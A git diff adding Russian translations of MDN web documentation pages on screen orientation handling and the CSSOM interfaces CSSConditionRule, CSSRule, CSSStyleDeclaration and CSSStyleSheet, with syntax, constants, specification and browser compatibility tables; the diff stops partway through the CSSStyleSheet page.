+}
+</pre>
+
+<p>Результат:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Портреный режим просмотра</th>
+   <th scope="col">Альбомный режим просмотра</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <div style="max-width: 220px;">{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}</div>
+   </td>
+   <td>
+    <div style="max-width: 390px;">{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Примечание:</strong> Медиа запрос по ориентации ссылается на окно браузера (соотношение его размеров), а не на ориентацию устройства.</p>
+</div>
+
+<h2 id="Блокировка_ориентации_экрана">Блокировка ориентации экрана</h2>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> Этот API вводится в экспериментальном режиме и доступен в <a href="/ru/docs/Archive/B2G_OS" title="Firefox OS">Firefox OS</a> и <a href="/ru/docs/Mozilla/Firefox_для_Android" title="Firefox for Android">Firefox для Android</a> с приставкой <code>moz</code>, а также для Internet Explorer на Windows 8.1 и выше с приставкой <code>ms</code>.</p>
+</div>
+
+<p>Некоторые устройства (в основном мобильные) могут изменять ориентацию экрана в соответствии с ориентацией самого устройства для удобства восприятия информации пользователем.
+Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определенную ориентацию.</p>
+
+<p>Урегулировать вопрос, связанный с изменением положения экрана, поможет интерфейс Screen Orientation API.</p>
+
+<h3 id="Отслеживание_изменения_ориентации">Отслеживание изменения ориентации</h3>
+
+<p>Событие {{event("orientationchange")}} возникает каждый раз, когда устройство изменяет ориентацию экрана и самого себя, и может быть отслежено свойством {{domxref("Screen.orientation")}}.</p>
+
+<pre class="brush: js notranslate">screen.addEventListener("orientationchange", function () {
+  console.log("The orientation of the screen is: " + screen.orientation);
+});
+</pre>
+
+<h3 id="Запрещаем_поворот_экрана">Запрещаем поворот экрана</h3>
+
+<p>Любое веб-приложение может заблокировать положение экрана. Методом {{domxref("Screen.lockOrientation()")}} положение блокируется. Разблокирование осуществляется методом {{domxref("Screen.unlockOrientation()")}}.</p>
+
+<p>Метод {{domxref("Screen.lockOrientation()")}} принимает одну или несколько строк для определения типа блокировки: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code>. Подробнее: {{domxref("Screen.lockOrientation")}}.</p>
+
+<pre class="brush: js notranslate">screen.lockOrientation('landscape');</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Положение экрана зависит от конкретной настройки приложения. Если в приложении A экран блокируется на альбомную ориентацию (<code>landscape</code>), а приложение B блокирует экран на портретный режим (<code>portrait</code>),
+то переход из приложения A в приложение B (или наоборот) не вызовет событие изменения ориентации экрана {{event("orientationchange")}}, т. к. оба приложения сохраняют заданную ориентацию.</p>
+
+<p>В то же время, событие {{event("orientationchange")}} может возникнуть в момент блокировки ориентации, если для удовлетворения заданному параметру блокировки изменяется положение экрана.</p>
+</div>
+
+<h2 id="Firefox_OS_и_Android_блокирование_ориентации_через_манифест">Firefox OS и Android: блокирование ориентации через манифест</h2>
+
+<p>Для Firefox OS и Firefox Android (скоро заработает и в десктопном Firefox) существует более специфичный способ: в файле манифеста Вашего приложения можно указать <a href="/en-US/Apps/Build/Manifest#orientation">ориентацию</a>:</p>
+
+<pre class="brush: json notranslate">"orientation": "portrait"</pre>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("Screen.orientation")}}</li>
+ <li>{{domxref("Screen.lockOrientation()")}}</li>
+ <li>{{domxref("Screen.unlockOrientation()")}}</li>
+ <li>{{domxref("Screen.onorientationchange")}}</li>
+ <li><a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">The orientation media query</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">A short introduction to media queries in Firefox 3.5</a></li>
+</ul>
diff --git a/files/ru/web/api/cssconditionrule/index.html b/files/ru/web/api/cssconditionrule/index.html
new file mode 100644
index 0000000000..9dd669526f
--- /dev/null
+++ b/files/ru/web/api/cssconditionrule/index.html
@@ -0,0 +1,113 @@
+---
+title: CSSConditionRule
+slug: Web/API/CSSConditionRule
+translation_of: Web/API/CSSConditionRule
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p>An object implementing the <strong><code>CSSConditionRule</code></strong> interface represents a single condition CSS at-rule, which consists of a condition and a statement block. It is a child of {{domxref("CSSGroupingRule")}}.</p>
+
+<p>Two objects derive from it : {{domxref("CSSMediaRule")}} and {{domxref("CSSSupportsRule")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The syntax is described using the <a class="external" href="http://dev.w3.org/2006/webapi/WebIDL/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL</a> format.</p>
+
+<pre>interface CSSConditionRule : CSSGroupingRule {
+    attribute DOMString conditionText;
+}
+</pre>
+
+<h2 id="Properties">Properties</h2>
+
+<p>The <code>CSSConditionRule</code> derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all properties of these classes. It has one specific property:</p>
+
+<dl>
+ <dt>{{domxref("CSSConditionRule.conditionText")}}</dt>
+ <dd>Represents the text of the condition of the rule.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>The <code>CSSConditionRule</code> derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all methods of these classes. It has no specific property of its own.</p>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Conditional', '#the-cssconditionrule-interface', 'CSSConditionRule') }}</td>
+   <td>{{ Spec2('CSS3 Conditional') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("20.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatOpera(43)}}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("20.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatOperaMobile(43)}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(56.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_dynamic_styling_information" title="en/DOM/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ru/web/api/cssrule/index.html b/files/ru/web/api/cssrule/index.html
new file mode 100644
index 0000000000..dcdb8381d1
--- /dev/null
+++ b/files/ru/web/api/cssrule/index.html
@@ -0,0 +1,323 @@
+---
+title: CSSRule
+slug: Web/API/CSSRule
+translation_of: Web/API/CSSRule
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>Интерфейс <strong>CSSRule </strong>представляет собой одно правило CSS. Есть несколько типов правил, перечисленных в разделе {{anch("Type constants")}} ниже.</p>
+
+<p>Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определенных типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.</p>
+
+<p>Ссылки на CSSRule выможете получить на странице {{domxref ("CSSStyleSheet")}} список cssRules.</p>
+
+<h2 id="Общие_свойства_для_всех_экземпляров_CSSRule">Общие свойства для всех экземпляров CSSRule</h2>
+
+<dl>
+ <dt id="cssText">{{domxref("CSSRule.cssText")}}</dt>
+ <dd>Represents the textual representation of the rule, e.g. "<code>h1,h2 { font-size: 16pt }</code>" or "<code>@import 'url'</code>". To access or modify parts of the rule (e.g. the value of "font-size" in the example) use the properties on the {{anch("Type constants", "specialized interface for the rule's type")}}.</dd>
+ <dt id="parentRule">{{domxref("CSSRule.parentRule")}} {{readonlyinline}}</dt>
+ <dd>Returns the containing rule, otherwise <code>null</code>. E.g. if this rule is a style rule inside an {{cssxref("@media")}} block, the parent rule would be that {{domxref("CSSMediaRule")}}.</dd>
+ <dt id="parentStyleSheet">{{domxref("CSSRule.parentStyleSheet")}} {{readonlyinline}}</dt>
+ <dd>Returns the {{domxref("CSSStyleSheet")}} object for the style sheet that contains this rule</dd>
+ <dt id="type">{{domxref("CSSRule.type")}} {{readonlyinline}}</dt>
+ <dd>One of the {{anch("Type constants")}} indicating the type of CSS rule.</dd>
+</dl>
+
+<h2 id="CSSRule" name="CSSRule">Константы</h2>
+
+<h3 id="Типы_констант">Типы констант</h3>
+
+<p>The <code>CSSRule</code> interface specifies integer constants that can be used in conjunction with a <code>CSSRule</code>'s {{domxref("cssRule/type","type")}} property to discern the rule type (and therefore, which specialized interface it implements). The relationships between these constants and the interfaces are:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Type</th>
+   <th>Value</th>
+   <th>Rule-specific interface</th>
+   <th>Comments and examples</th>
+  </tr>
+  <tr>
+   <td><code>CSSRule.STYLE_RULE</code></td>
+   <td style="text-align: center;"><code>1</code></td>
+   <td>{{domxref("CSSStyleRule")}}</td>
+   <td>The most common kind of rule:<br>
+    <code>selector { prop1: val1; prop2: val2; }</code></td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.IMPORT_RULE</code></td>
+   <td style="text-align: center;"><code>3</code></td>
+   <td>{{domxref("CSSImportRule")}}</td>
+   <td>An {{cssxref("@import")}} rule. (Until the documentation is completed, see the interface definition in the Mozilla source code: <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/css/nsIDOMCSSImportRule.idl#9">nsIDOMCSSImportRule</a>.)</td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.MEDIA_RULE</code></td>
+   <td style="text-align: center;"><code>4</code></td>
+   <td>{{domxref("CSSMediaRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.FONT_FACE_RULE</code></td>
+   <td style="text-align: center;"><code>5</code></td>
+   <td>{{domxref("CSSFontFaceRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.PAGE_RULE</code></td>
+   <td style="text-align: center;"><code>6</code></td>
+   <td>{{domxref("CSSPageRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.KEYFRAMES_RULE</code></td>
+   <td style="text-align: center;"><code>7</code></td>
+   <td>{{domxref("CSSKeyframesRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.KEYFRAME_RULE</code></td>
+   <td style="text-align: center;"><code>8</code></td>
+   <td>{{domxref("CSSKeyframeRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><em>Reserved for future use</em></td>
+   <td style="text-align: center;"><code>9</code></td>
+   <td> </td>
+   <td>Should be used to define color profiles in the future</td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.NAMESPACE_RULE</code></td>
+   <td style="text-align: center;"><code>10</code></td>
+   <td>{{domxref("CSSNamespaceRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.COUNTER_STYLE_RULE</code></td>
+   <td style="text-align: center;"><code>11</code></td>
+   <td>{{domxref("CSSCounterStyleRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.SUPPORTS_RULE</code></td>
+   <td style="text-align: center;"><code>12</code></td>
+   <td>{{domxref("CSSSupportsRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.DOCUMENT_RULE</code></td>
+   <td style="text-align: center;"><code>13</code></td>
+   <td>{{domxref("CSSDocumentRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.FONT_FEATURE_VALUES_RULE</code></td>
+   <td style="text-align: center;"><code>14</code></td>
+   <td>{{domxref("CSSFontFeatureValuesRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.VIEWPORT_RULE</code></td>
+   <td style="text-align: center;"><code>15</code></td>
+   <td>{{domxref("CSSViewportRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.REGION_STYLE_RULE</code></td>
+   <td style="text-align: center;"><code>16</code></td>
+   <td>{{domxref("CSSRegionStyleRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.UNKNOWN_RULE</code></td>
+   <td style="text-align: center;"><code>0</code></td>
+   <td>{{domxref("CSSUnknownRule")}} {{obsolete_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.CHARSET_RULE</code></td>
+   <td style="text-align: center;"><code>2</code></td>
+   <td><code>CSSCharsetRule</code> {{obsolete_inline}}</td>
+   <td>(Removed in most browsers.)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>An up-to-date informal list of constants can be found on the <a href="http://wiki.csswg.org/spec/cssom-constants">CSSWG Wiki</a>.</p>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#css-rules', 'CSSRule')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Obsoleted values <code>CHARSET_RULE</code> and <code>UNKNOWN_RULE</code>. Added value <code>NAMESPACE_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations",'#interface-cssrule', 'CSSRule')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Added values <code>KEYFRAMES_RULE</code> and <code>KEYFRAME_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#om-fontfeaturevalues', 'CSSRule')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Added value <code>FONT_FEATURE_VALUES_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles", "#extentions-to-cssrule-interface", 'CSSRule')}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td>Added value <code>COUNTER_STYLE_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional", '#extentions-to-cssrule-interface', 'CSSRule')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Added value <code>SUPPORTS_RULE</code>. (<code>DOCUMENT_RULE</code> has been pushed to CSS Conditional Rules Level 4)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSRule', 'CSSRule')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSKeyframesRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>20.0 [4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSCharsetRule</code></td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [3]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSUnknownRule</code></td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSKeyframesRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>20.0 [4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSCharsetRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [3]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>CSSUnknownRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>CSSCharsetRule</code> was removed in Chrome version 41.0.</p>
+
+<p>[2] <code>CSSUnknownRule</code> was removed in Chrome version 45.0.</p>
+
+<p>[3] <code>CSSCharsetRule</code> was removed in Gecko version 40.</p>
+
+<p>[4] On Gecko, before Firefox 19, the keyframe-related constants existed only in their prefixed version: <code>CSSRule.MOZ_KEYFRAMES_RULE</code> and <code>CSSRule.MOZ_KEYFRAME_RULE.</code> From Firefox 20 onwards, both versions are available. The prefixed version will be removed in the future.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html b/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html
new file mode 100644
index 0000000000..853bd5c215
--- /dev/null
+++ b/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html
@@ -0,0 +1,114 @@
+---
+title: CSSStyleDeclaration.getPropertyValue()
+slug: Web/API/CSSStyleDeclaration/getPropertyValue
+translation_of: Web/API/CSSStyleDeclaration/getPropertyValue
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p><strong>CSSStyleDeclaration.getPropertyValue()</strong> интерфейс метода, который возвращает {{domxref('DOMString')}}, указанного CSS свойства.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>value</em> = <em>style</em>.getPropertyValue(<em>property</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><em><code>property</code></em> - это {{domxref('DOMString')}} представляющий имя свойства, которое должно быть обработано.</li>
+</ul>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<ul>
+ <li><code><em>value</em></code> - это {{domxref('DOMString')}} содержащий значение свойства. Если не задано, возвращается пустая строка.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий JavaScript код проверяет отмечен ли margin как important в CSS правиле селектора:</p>
+
+<pre class="brush: js">var declaration = document.styleSheets[0].rules[0].style;
+var value = declaration.getPropertyValue('margin'); // "1px 2px"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#dom-cssstyledeclaration-getpropertyvalue', 'CSSStyleDeclaration.getPropertyValue()')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Браузерная совместимость</strong></p>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari (WebKit)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/cssstyledeclaration/index.html b/files/ru/web/api/cssstyledeclaration/index.html
new file mode 100644
index 0000000000..b82c28990e
--- /dev/null
+++ b/files/ru/web/api/cssstyledeclaration/index.html
@@ -0,0 +1,103 @@
+---
+title: CSSStyleDeclaration
+slug: Web/API/CSSStyleDeclaration
+tags:
+  - API
+  - CSSOM
+  - Interface
+  - NeedsCompatTable
+  - NeedsMarkupWork
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/CSSStyleDeclaration
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p>Интерфейс <strong><code>CSSStyleDeclaration</code></strong> представляет объект, являющийся блоком объявления CSS, и предоставляет информацию о стиле и различные связанные со стилем методы и свойства.</p>
+
+<p>Объект <code>CSSStyleDeclaration</code> может быть представлен с помощью трех различных API:</p>
+
+<ul>
+ <li>Через {{domxref ("HTMLElement.style")}}, который имеет дело с встроенными стилями одного элемента (например, &lt;div style="..."&gt;).</li>
+ <li>Через API {{domxref("CSSStyleSheet")}}. Например, <code>document.styleSheets[0].cssRules[0].style</code> возвращает объект <code>CSSStyleDeclaration</code> для первого правила CSS в первой таблице стилей документа.</li>
+ <li>Через {{domxref ("Window.getComputedStyle ()")}}, который предоставляет объект <code>CSSStyleDeclaration</code> в качестве интерфейса только для чтения.</li>
+</ul>
+
+<h2 id="Аттрибуты">Аттрибуты</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.cssText")}}</dt>
+ <dd>Текстовое представление блока объявления. Установка этого атрибута изменяет стиль.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.length")}} {{readonlyInline}}</dt>
+ <dd>Количество свойств. Смотри ниже метод {{domxref("CSSStyleDeclaration.item()", 'item()')}} .</dd>
+ <dt>{{domxref("CSSStyleDeclaration.parentRule")}} {{readonlyInline}}</dt>
+ <dd>Содержащееся {{domxref("CSSRule")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}</dt>
+ <dd>Возвращает необязательный приоритет "important".</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyValue()")}}</dt>
+ <dd>Возвращает значение свойства, заданное именем свойства.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.item()")}}</dt>
+ <dd>Возвращает имя свойства.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt>
+ <dd>Удаляет свойство из блока объявления CSS.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt>
+ <dd>Изменяет существующее свойство CSS или создает новое свойство CSS в блоке объявления.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt>
+ <dd>Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращенных свойств.</a></dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var styleObj = document.styleSheets[0].cssRules[0].style;
+console.log(styleObj.cssText);
+
+for (var i = styleObj.length; i--;) {
+  var nameString = styleObj[i];
+  styleObj.removeProperty(nameString);
+}
+
+console.log(styleObj.cssText);</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSPrimitiveValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">DOM CSS Properties</a></li>
+</ul>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CSSStyleDeclaration")}}</p>
diff --git a/files/ru/web/api/cssstylesheet/index.html b/files/ru/web/api/cssstylesheet/index.html
new file mode 100644
index 0000000000..1b2da99134
--- /dev/null
+++ b/files/ru/web/api/cssstylesheet/index.html
@@ -0,0 +1,133 @@
+---
+title: CSSStyleSheet
+slug: Web/API/CSSStyleSheet
+translation_of: Web/API/CSSStyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p><strong><code>CSSStyleSheet</code></strong> interface представляет одну <a href="/en-US/docs/Web/CSS">CSS</a> таблицу стилей. CSS таблица наследует свойства и методы от родителя, {{domxref("StyleSheet")}}.</p>
+
